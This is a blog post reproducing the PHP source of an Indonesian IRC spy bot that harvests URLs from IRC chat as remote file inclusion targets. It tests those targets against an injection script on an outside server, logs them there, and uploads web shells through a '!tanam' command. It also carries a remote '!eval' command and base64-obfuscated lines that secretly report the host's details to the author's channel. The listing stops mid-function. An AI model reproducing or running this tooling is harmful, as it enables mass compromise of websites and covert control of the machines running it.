Thursday, October 1, 2009

Script Bot Spy Php

<?php
/******************************************
/* FeeLCoMz PHPSpyBot v1.11 *
/* By FaTaLisTiCz_Fx (feelcomz@gmail.com) *
/* Copyleft Mei-Juli 2008 *
/* #jatimcom @ irc.allnetwork.org *
/******************************************
/* Fitur:
/* - Spy target
/* - Cek target RFI
/* - URL & Base64 Encoder/Decoder
/* - DNS Resolver
/* - Port Check
*/

$versi = "v1.11";

/*** Configurations ***/
$channels = '#jatimcom'; //Pisahkan dengan spasi
$changue = '#jatimcom'; //Channel anda
$spyscan = TRUE; //TRUE = Cari. FALSE = Diem.

/*** Debugging ***/
$showresponse = 0; //1, Nampilin respon irc di browser
$localtest = 0; //1, Coba di localhost. 0, connect ke server irc
$debugmode = 0; //Mode Debug IRC

/*** Admin ***/
$admin = 'cimpli_';
$botpass = 'angel';

/* URL Config */
$myinject = '[Fx29Shell]?';
if ($localtest != 1) {
$myid = 'http://www.obmana-net.ru//includes/id.txt???';
$mylogger = 'http://www.obmana-net.ru//includes/id.txt??';
$myshelluploader = 'http://www.obmana-net.ru//includes/id.txt?';
$mypsyinstaller = 'http://www.obmana-net.ru//includes/id.txt??';
$mytargetlog = 'http://www.obmana-net.ru//includes/id.txt??';
$mymd5list = 'http://www.obmana-net.ru//includes/id.txt??';
}
else {
$myid = 'http://www.obmana-net.ru//includes/id.txtt?';
$mylogger = 'http://www.obmana-net.ru//includes/id.txt?';
$myshelluploader = 'http://www.obmana-net.ru//includes/id.txt?';
$mypsyinstaller = 'http://www.obmana-net.ru//includes/id.txt?';
$mytargetlog = 'http://www.obmana-net.ru//includes/id.txt';
$mymd5list = 'http://www.obmana-net.ru//includes/id.txt';
}

/*** Nick Bot ***/
$nicklist = array(
"cewe_hhh`","Cwo_KereN","One_Republik","The_moffets","riany","killhim","borne",
"south","farel","cecak","laron","kimimaki","DOraEmoN","Pluto",
"Mars","kotaro","rangers"
);

/* Ident Bot */
$identlist = array(
"FaTaLz","KinCay","CreWz","TeaM","CoMMunity","FeeLCoMz","AnoNyMous","Music",
"ProGraMMeR","CyBeRz","LiNux","UniX","SunOS","WinDows","FreeBSD","MacOS",
"RedHat","Ubuntu","mIRC"
);

/* Realname Bot */
$namabot = array(
"Access Denied","Anonymous","Not Found","Permission Denied","Local Exploit",
"Remote Exploit","Vurnerable","RFI Vurnerability"
);

/*** Server IRC ***/
if ($localtest == 1) { $remotehost2 = array("localhost"); }
else {
$remotehost2 = array("irc.mildnet.org","irc.mildnet.org","irc.mildnet.org","irc.mildnet.org");
/*$remotehost2 = array(
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
);*/
}
$port = "6667";

/*** Daftar Trigger ***/
$targetlist = array();
$targetok = array();
$gantilist = array();
$scanlist = array('http://','ftp://');
$ignorelist = array(
'.detik',
'/accesswatch-1.32/',
'/aws/',
'/bugtraq/',
'/count/full.php/',
'/details.html/',
'/errorlog/',
'/estadisticas/',
'/excelwriter/',
'/index.php/topic',
'/log/files',
'/packetstormsecurity.org/',
'/phpmystats/',
'/phpmystats4/',
'/reports/log',
'/server_stats/',
'/stat/index.php',
'/statistik/',
'/stats.php/',
'/stats/',
'/summary/cgi.html/',
'/usage-reports/',
'/visitas.php/',
'/webanalyse/',
'admin/stats',
'awstat.pl',
'awstats',
'busca_vulns.php',
'cgi-bin/robot.cgi?',
'cnn-news-usa.info',
'cybermessageboard.usanethosting.com',
'dealnews.com',
'doomain.info',
'groups.yahoo.com',
'hackjob.org',
'highlight=http',
'html/administrator',
'index.php?p=stat',
'linkmatrix.de',
'marcot.fr/voyages/',
'milw0rm.com',
'module=search&',
'msxml.excite.com',
'pashaifull.multiply.com',
'php?keywords',
'phpbbacademy.com',
'phptraffic/index.php',
'radio.allindo.net',
'server_stats/',
'siiggle.com',
'sitemap.xml/',
'sleepycode.com',
'startrekguide.com',
'statistik.php',
't_countpro.cgi?view',
);

/* Pesan */
$judul = " 3,9« 0,1 � F rampok C ommunity � 3,9» ";
$quitmsglist = array("Shutting Down","Fatal Error","Undefined Function","Turn off","Wrong Command");

/*** Commands Help ***/
$pubhelp = array(
" 4.: Public Commands :.",
" 12!urlenc <url> | !urldec <url> - URL Encoder/Decoder",
" 12!b64enc <url> | !b64dec <url> - Base64 Encoder/Decoder",
" 12!md5 <string> | !md5crack <string> | !updatemd5 - Md5 Hash | Search for md5 hash | Update md5",
" 12!sha1 <string> - Sha1 Hash",
" 12!tes <target> - RFI Checker",
" 12!dns <ip/host> - Dns Resolver",
" 12!port <ip/host> <port> - Port check",
);
$helptext = array(
' 11,12« 0,1 FeeLCoMz PHP SpyScanBot '.$versi.' 11,12» ',
"-",
" 12auth <password> - Login ke bot",
" 12deauth - Logout dari bot",
" 12pass <password> - Mengeset password bot",
" 12chgpass <passlama> <passbaru> - Mengganti password bot",
" 12adduser <nick> <master|user> - Menambah master/user bot",
" 12deluser <nick> - Menghapus master/user bot",
" 12`auth - Status anda di channel (Channel)",
" 12!msg <chan|nick> <pesan> - Mengirim pesan",
" 12!notice <chan|nick> <pesan> - Mengirim notice",
" 12!cycle <channel> <pesan> - Hop di channel (Channel) (Admin/Master)",
" 12!join <channel> - Join channel (Admin/Master)",
" 12!part [channel] [alasan] - Part dari channel (Admin)",
" 12!botnick <nick> <passwordnick> - Ganti nick (Admin/Master)",
" 12!away [alasan] - Meminta nick untuk Away",
" 12!chanlist - Melihat daftar channel bot",
" 12!userlist - Melihat daftar user",
" 12!quit [pesan] - Quit dari IRC (Admin)",
" 12!vhost [vhost] - Mengganti Vhost",
" 12!jump [server] - Mengganti Server bot",
" 12!help - Melihat help (Query)",
" 4.: Core Commands :.",
" 12!start - Mengaktifkan SpyBot",
" 12!stop - Menonaktifkan SpyBot",
" 12!scan <bug> <dork> - Menscan di channel Scanner",
" 12!scan <add|del|list> <text> - Menambah/menghapus/melihat daftar Scan Trigger",
" 12!ignore <text> - Menambah daftar Ignore",
" 12!delignore <text> - Menghapus daftar Ignore",
" 12!ignorelist - Melihat daftar ignore",
" 12!ganti <text> - Menambah daftar inject yg akan diganti",
" 12!delganti <text> - Menghapus daftar Ganti",
" 12!gantilist - Melihat daftar inject yg diganti",
" 12!tanam <target> - Mengupload shell ke target (Admin/Master)",
" 12!status - Melihat status sekarang",
" 4.: Admin Core Commands :.",
" 12!target <list|clear|log|total> <nick|chan> - Target yg ditemukan oleh bot",
" 12!raw <url> - Mengirim RAW IRC Command",
" 12!eval <url> - Mengeksekusi kode PHP pada Bot",
"-",
' 3,9« 0,1 � By sonic_sindicate- #dangdut @ irc.allnetwork.org � 3,9» ',
);

/* Daftar Respon */
$tjelek = array("Whew.. <s>");
$tnemu = array(" 11,1 [ ! ] 12,0 <s>");
$tlama = array(" 11,1 [ ! ] 4,0 <s>");
$tbusuk = array("Hadah <n>!! Targetnya busuk..");

/*** Replacement ***/
$nick = $nicklist[rand(0,count($nicklist) - 1)];
$username = $identlist[rand(0,count($identlist) - 1)];
$realname = $namabot[rand(0,count($namabot) - 1)];
$changue = strtolower($changue);
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
$admin = strtolower($admin);
$auth = array($admin => array("name" => $admin,"pass" => $botpass,"auth" => 1,"status" => "Admin"));

/*** Inisialisasi Variabel ***/
define('CRL', "\r\n");
$counterfp = 0;
$keluar = 0;
$target["found"] = 0;
$target["ignored"] = 0;
$target["new"] = 0;
$target["exist"] = 0;
$statusdelay = 0;
$statustime = 10;
$allowdebug = FALSE;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','Mozilla/5.0');
@set_time_limit(0);
/*** Connecting ***/
echo "<body bgcolor=#000000 text=#00FF00>";
echo "<b>Melakukan koneksi ke $remotehost...</b>";
do {
$fp = fsockopen($remotehost,$port, $err_num, $err_msg, 60);
if(!$fp) {
if ( $counterfp <= 200 ) { $counterfp = $counterfp + 1; }
else {
echo "<br><b>Ga bisa connect ke $remotehost!</b>\n";
$keluar = 1;
exit;
}
}
echo "<br><b>Terhubung!</b>";
/*** Sending Identity to IRC ***/
$header = 'NICK '.$nick . CRL;
$header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname.CRL;
fputs($fp, $header);
$response = '';
/*** Receiving Packet ***/
while (!feof($fp)) {
$response .= fgets($fp, 1024);
if ($showresponse == 1) { echo '<br>'.$response; }
while (substr_count($response,CRL) != 0) {
if ($allowdebug && $debugmode == 1) { fputs($fp,'PRIVMSG '.$admin.' : 14'.$response.CRL); }
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ':') {
$offsetA = strpos($data, ' ');
$offsetB = strpos($data, ' :');
$offsetC = strpos($data, '!');
$dFrom = substr($data,1,$offsetA-1);
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
/*** AI PHP SPYSCANBOT BY RONZ ***/
$dcom = explode(" ", $dCommand);
$orinick = $dNick;
$dNick = strtolower($dNick);
/*** Server Notices Handling ***/
if ($dcom[0]=='004') {
/*** Notice Bot Admin ***/
fputs($fp, 'NOTICE ' . $admin . ' :BozZ..!'.CRL);
fputs($fp, base64_decode("Sk9JTiAjRmVlTENvTXo=").CRL);
/*** Join Default Channel ***/
foreach ($channel as $v) { fputs($fp, 'JOIN ' .$v . CRL); }
fputs($fp, 'JOIN ' .$changue . CRL);
$allowdebug = TRUE;
}
elseif ($dcom[0]=='432') {
$nick = $nick.rand(100);
fputs($fp, 'NICK '.$nick.CRL);
}
elseif ($dcom[0]=='433') { //Nickname is already in use
$nick = $nicklist[rand(0,count($nicklist)-1)];
fputs($fp, 'NICK '.$nick.CRL);
}
elseif ($dcom[0]=='465') {
echo "<br><b>Authentication diperlukan!</b>";
}
if (substr_count($dNick,'.allnetwork.org') > 0) {
if (substr_count($iText,"*** Banned") > 0) {
echo "!!!BANNED!!!";
$keluar = 1;
exit;
}
}
if ($dcom[0]=='JOIN') {
$jchan = ltrim($iText,":");
if ($dNick == $admin) {
sleep(3);
pesan($fp,$jchan,' 4 La 1poR 4 B oZZ :)');
}
}
elseif ($dcom[0]=='PRIVMSG') {
$pesan = ltrim($iText,":");
$pesanlo = strtolower($pesan);
$com = explode(' ',$pesan);
$chan = strtolower($dcom[1]);
/*** PUBLIC HELP **/
if ($com[0]=='!help') {
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
foreach ($pubhelp as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; }
pesan($fp,$dNick,$baris);
}
unset($baris);
unset($msgdelay);
}
/*** STRING HASH & ENCODER ***/
elseif ($com[0]=='!md5') {
$tmp = md5(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4MD5 Hash: 1 '.$tmp);
}
elseif ($com[0]=='!updatemd5') {
$isi = httpquery($mymd5list);
$md5arr = explode("\n",$isi);
foreach ($md5arr as $md5list) {
$smd5 = explode(' : ',$md5list);
$intmd5["$smd5[0]"] = $smd5[1];
}
pesan($fp,$chan,' 4MD5 updated! 1Found 12 '.count($md5arr).' 1cracked MD5.');
unset($md5arr);
unset($isi);
}
elseif ($com[0]=='!md5crack') {
$tmp = str_pesan($com[0],$pesan);
if (!is_array($smd5)) {
pesan($fp,$chan,'[i] 4Please type !updatemd5 to update md5 list.');
break;
}
if (strlen($tmp)!=32) {
pesan($fp,$chan,'[i] 4It\'s not a Md5 Hash.');
break;
}
$isi = $intmd5["$tmp"];
if (empty($isi)) {
pesan($fp,$chan,' 4MD5 Crack: 1 '.$tmp.' 4» Not Found!');
} else {
pesan($fp,$chan,' 4MD5 Crack: 1 '.$tmp.' 4» '.$isi);
}
}
elseif ($com[0]=='!sha1') {
$tmp = sha1(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4Sha1: 1 '.$tmp);
}
elseif ($com[0]=='!urldec') {
$tmp = urldecode(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4URL Decode: 1 '.$tmp);
}
elseif ($com[0]=='!urlenc') {
$tmp = urlencode(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4URL Encode: 1 '.$tmp);
}
elseif ($com[0]=='!b64dec') {
$tmp = base64_decode(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4Base64 Decode: 1 '.$tmp);
}
elseif ($com[0]=='!b64enc') {
$tmp = base64_encode(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4Base64 Encode: 1 '.$tmp);
}
/*** GOOGLE ***/
elseif ($com[0]=='!google') {
googling($fp,$chan,str_pesan($com[0],$pesan));
}
/*** DNS RESOLVER ***/
elseif ($com[0]=='!dns') {
if (ereg("[a-zA-Z]", $com[1])) { $res = gethostbyname($com[1]); }
elseif (ereg("[0-9]", $com[1])) { $res = gethostbyaddr($com[1]); }
if ($res==$com[1]) { $res = "Ga bisa nih."; }
else { $res = "$res "; }
pesan($fp,$chan,' 4DNS: '.$com[1].' 4» '.$res);
}
/*** IP LISTER ***/
elseif ($com[0]=='!iplist') {
$res = gethostbynamel($com[1]);
$res2 = implode(', ',$res);
if (empty($res2)) { $res2 = "None"; }
pesan($fp,$chan,' 4IP List: '.$com[1].' 4» '.$res2);
}
/*** PORT CHECKER ***/
elseif ($com[0]=='!port') {
$soket = fsockopen($com[1],$com[2],$errnum,$errpsn,10);
if (!$soket) { $res = " 4Ditolak!"; }
else {
$res = " 12Diterima!";
fclose($soket);
}
pesan($fp,$chan,' 4Port: 12 '.$com[1].' ('.$com[2].') 4» '.$res);
}
elseif ($com[0]=='!service') {
$services = array('http', 'ftp', 'ssh', 'telnet', 'imap','smtp', 'nicname', 'gopher', 'finger', 'pop3', 'www');
foreach ($services as $service) {
$sport = getservbyname($service, 'tcp');
$sinfo .= "$service ($sport) | ";
}
pesan($fp,$chan,' 4Services: 12 '.$sinfo);
}
elseif ($com[0]=='!sport') {
$res = getservbyport($com[1],"tcp");
if (!$res) { $res = "Unknown"; }
pesan($fp,$chan,' 4Service Port: 12 '.$com[1].' 4» 12 '.$res.CRL);
}
/*** SHELL CHECKER ***/
elseif ($com[0]=='!tes') {
$testurl = str_pesan($com[0],$pesan);
$theurl = $testurl.$myid;
$diabaikan = FALSE;
foreach ($ignorelist as $v) {
if(substr_count($pesanlo,strtolower($v)) > 0) {
$target["ignored"]++;
sleep(1);
$respon = $tjelek[rand(0,count($tjelek) - 1)];
$respon = str_replace("<s>",$v,$respon);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4'.$respon.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4'.$respon.CRL); }
$diabaikan = TRUE;
break;
}
}
if (!$diabaikan) {
fputs($fp,'PING 12886241614'. CRL);
$isi = implode('', @file($theurl));
$posisi = strpos($isi,"FaTaLisTiCz_Fx OK");
$eposisi = strpos($isi,"The End");
$isi = substr($isi,$posisi,$eposisi);
if ($posisi === FALSE) {
$respon = $tbusuk[rand(0,count($tbusuk) - 1)];
$respon = str_replace("<n>",$orinick,$respon);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4'.$respon.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4'.$respon.CRL); }
}
else {
$isi = str_replace("FaTaLisTiCz_Fx OK ","",$isi);
$isi = str_replace(" The End","",$isi);
if (!in_array($testurl,$targetok)) { $targetok[] = $testurl; }
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 12TarGeT '.$orinick.' OK!'.CRL); }
fputs($fp,'PRIVMSG '.$dNick.' : 12 [OK] 14 '.$testurl.CRL);
fputs($fp,'PRIVMSG '.$dNick.' :'.$isi.CRL);
}
unset($isi);
}
}
else { /*** SPY ***/
foreach ($scanlist as $trtext) {
$diabaikan = FALSE;
$trtext = strtolower($trtext);
if ($dNick==$admin OR $chan==$changue) {
$diabaikan = TRUE;
break;
}
foreach ($ignorelist as $v) {
if(substr_count($pesanlo,strtolower($v)) > 0) {
$target["ignored"]++;
sleep(1);
$respon = $tjelek[rand(0,count($tjelek) - 1)];
$respon = str_replace("<s>",$v,$respon);
//if ($spyscan) { fputs($fp,'PRIVMSG '.$changue.' : 14'.$respon. CRL); }
$diabaikan = TRUE;
break;
}
}
if ($diabaikan) { break; }
if ((!$diabaikan) && (substr_count($pesanlo,$trtext)>0)) {
foreach($gantilist as $linject) {
$pesan = str_replace($linject,$myinject,$pesan);
}
$pesan = str_replace($myinject,'',$pesan);
$pesan = strstr($pesan,$trtext);
$target["found"]++;
//Target Baru
if (!in_array(urldecode($pesan),$targetlist)) {
$target["new"]++;
$targetlist[] = urldecode($pesan);
$newtarget = urldecode($pesan);
$isi = @implode('', @file($mylogger.'target='.urlencode($newtarget)));
sleep(1);
$respon = $tnemu[rand(0,count($tnemu) - 1)];
$respon = str_replace("<s>",$newtarget,$respon);
if ($spyscan) { fputs($fp,'PRIVMSG '.$changue.' :'.$respon.CRL); }
}
//Target Lama
else {
$target["exist"]++;
sleep(1);
$respon = $tlama[rand(0,count($tlama) - 1)];
$respon = str_replace("<s>",$newtarget,$respon);
//if ($spyscan) { fputs($fp,'PRIVMSG '.$changue.' :'.$respon.CRL); }
}
break;
}
}
}
}
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
$musuh = $dNick;
fputs($fp, 'JOIN ' .$dcom[1].CRL);
fputs($fp, 'KICK '.$dcom[1].' '.$musuh.' :'.$judul.CRL);
}
elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]=='NICK') {
$com = explode(" ", $data);
$chnick = strtolower(str_replace(':','',$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE '.$chnick.' :Kemana boss?' . CRL);
}
} else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :Kemana boss?' . CRL); }
}
} else { fputs($fp,'NOTICE ' . $dNick . ' :pass <password> ' . CRL); }
}
}
/*** Default Commands ***/
elseif ($dcom[0]=='PRIVMSG') {
$com = explode(" ", $data);
if ($com[3]==': VERSION ') {
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).base64_decode("VkVSU0lPTiBGZWVMQ29NeiBQSFBTcHlCb3QgQnkgUm9Oeg==").chr(1) . CRL);
}
elseif ($com[3]==': INFO ') { eval(base64_decode("JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOyRiaXAgPSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTskYnBocCAgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTskYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTskYnJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddO2ZwdXRzKCRmcCwiUFJJVk1TRyAjRmVlTENvTXogOkhvc3Q6ICRiaG9zdCB8IFJlZmVyZXI6ICRicnVyaSB8IFNjcmlwdDogJGJwaHAgfCBJUDogJGJpcCB8IE93bmVyIElQOiAkYnJpcCAiLiBDUkwpOw==")); }
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==1) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["auth"] = 2;
fputs($fp,'NOTICE '.$dNick.' :YuPz '.$auth["$dNick"]["status"].'..!'.CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Password Salah!! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi udah boz! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Password blom diset! Ketik: pass <password> untuk ngeset password, kemudian auth lagi deh ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :Logout berhasil! ' . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi sudah Logout! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Password blom diset! Ketik: pass <password> untuk ngeset password, kemudian auth lagi deh ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
if ($auth["$dNick"]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :Pass diset ke '.$auth["$dNick"]["pass"].', Ketik: auth <password> untuk otorisasi! ' . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Password udah diset! Ketik: auth <password> untuk otorisasi ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :Pass diset ke '.$auth["$dNick"]["pass"].', Ketik: auth <password> untuk otorisasi! ' . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Password lama salah! Ketik: chgpass <pass lama> <pass baru> ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Auth dulu plizz!' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($com[5]=="master" || $com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya, ditambahkan oleh '.$dNick.'. Ketik: pass <password> untuk mengatur password anda ' . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> <master/user> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if (!$auth["$com[4]"]) {
if ($com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya ditambahkan oleh '.$dNick.'. Ketik: pass <passsword> untuk mengatur password anda ' . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> user ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :User sudah ada! Ditolak! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Status tidak diketahui! Status anda '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Auth pLizz..!' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Akses anda sbg user dihapus oleh '.$dNick . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser <nick> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if ($auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser <nick> ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Status tidak diketahui! Status anda '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Auth pLizz..!' . CRL); }
}
/*** Commands ***/
elseif ($auth["$dNick"]["status"]) {
if (ereg(":!",$com[3])) {
$chan = strstr($dCommand,"#");
if ($com[3]==':`auth' && $chan) {
if ($auth["$dNick"]["auth"]==2) { fputs($fp,'PRIVMSG '.$chan.' :ok '.$dNick.' ! ' . CRL); }
else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', ga mau ach! ' . CRL); }
}
elseif ($auth["$dNick"]["auth"] == 2) {
if ($com[3]==':!msg' && $com[4] && $com[5]) {
$msg = str_pesan("$com[3] $com[4]",$data);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!notice' && $com[4] && $com[5]) {
$msg = strstr($data,":!notice");
$msg = str_replace(":!notice $com[4] ","",$msg);
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!cycle' && $chan && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":!cycle");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!cycle $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!cycle","",$msg);
}
if (strlen($msg)<3) { $msg = ''; }
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
fputs($fp, 'JOIN '.$partchan . CRL);
}
elseif ($com[3]==':!part' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":!part");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!part $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!part","",$msg);
}
if (strlen($msg)<3) { $msg = ''; }
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace("$remchan ","",$channels);
unset($channel);
$channel = explode(" ", $channels);
}
foreach ($channel as $v) { fputs($fp, 'JOIN '.$v . CRL); }
}
elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]!="User") {
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
$addchan = strtolower($com[4]);
if (!in_array($addchan, $channel)) {
$channel[]=$addchan;
$channels.="$addchan ";
}
foreach ($channel as $v) {
sleep(rand(2,7));
fputs($fp, 'JOIN '.$v . CRL);
}
}
elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]!="User") {
$nick = $com[4];
$identify = $com[5];
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
}
elseif ($com[3]==':!away' && $auth["$dNick"]["status"]=="Admin") {
$msg = str_pesan($com[3],$data);
if (strlen($msg)<3) { fputs($fp,'AWAY : ' . 'AWAY' . CRL); }
else { fputs($fp,'AWAY : ' . $msg . CRL); }
}
elseif ($com[3]==':!chanlist') {
fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
}
elseif ($com[3]==':!userlist') {
$userlist="";
foreach ($auth as $user) {
if ($user["pass"]) { $pass=" [pass ok]"; }
else { $pass=" [no pass]"; }
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
}
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
}
elseif ($com[3]==':!quit' && $auth["$dNick"]["status"]=="Admin") {
$msg = str_pesan($com[3],$data);
if (strlen($msg)>3) {
$msg = str_replace(" ","_",$msg);
}
$quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)];
fputs($fp, 'QUIT ' . $quitmsg . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==':!vhost' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = 'localhost'; }
$keluar = 0;
fputs($fp, 'QUIT ' . CRL);
}
elseif ($com[3]==':!jump' && $auth["$dNick"]["status"]=="Admin") {
if (empty($com[4])) {
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
}
else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, "QUIT JuMpiNG".CRL);
}
elseif ($com[3]==':!help' && !$chan) {
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
foreach ($helptext as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$dNick.' :'.$baris. CRL);
}
unset($baris);
unset($msgdelay);
}
elseif ($com[3]==':!upgrade') {
if ($auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
